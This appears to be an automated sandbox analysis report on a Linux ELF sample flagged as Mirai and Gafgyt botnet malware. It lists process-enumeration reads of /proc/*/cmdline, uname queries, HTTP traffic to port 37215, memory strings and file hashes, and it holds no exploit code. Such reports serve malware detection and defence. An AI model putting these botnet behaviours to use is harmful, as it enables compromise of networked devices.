Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1884/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3424/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3708/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2972/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3709/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2970/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1881/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3146/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3300/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5445/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1805/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5448/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1925/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1804/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5449/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1922/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3429/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3442/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3165/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3164/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3163/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3162/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/790/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3161/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/792/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/672/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1930/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3315/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1411/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2984/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1410/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38284 -> 37215

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/na.elf (PID: 5438)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5490)	Queries kernel information via 'uname':	Jump to behavior

Source: na.elf, 5438.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5442.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5444.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5445.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5448.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5449.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp	Binary or memory string: >Wax86_64/usr/bin/qemu-sh4/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 5438.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5442.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5444.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5445.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5448.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5449.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: na.elf, 5438.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5442.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5444.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5445.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5448.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5449.1.000055c3077bb000.000055c30781e000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: na.elf, 5438.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5442.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5444.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5445.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5448.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5449.1.000055c3077bb000.000055c30781e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR

ID:	1533412
Product:	CloudBasic
Start time:	17:33:11
Start date:	14.10.2024
Sample:	na.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	0e80a151b68990a32724ad69ca8d3158
SHA1:	1f8c18500d6f837405052a168b6689499586e367
SHA256:	339a1b54635b77d2f7f8cf40c44c5e9ecea4c2c53d6c78edc90d2c64b5d08739
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Linux Analysis Report
na.elf

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Linux Analysis Report
na.elf

Malware Threat Intel
Provided by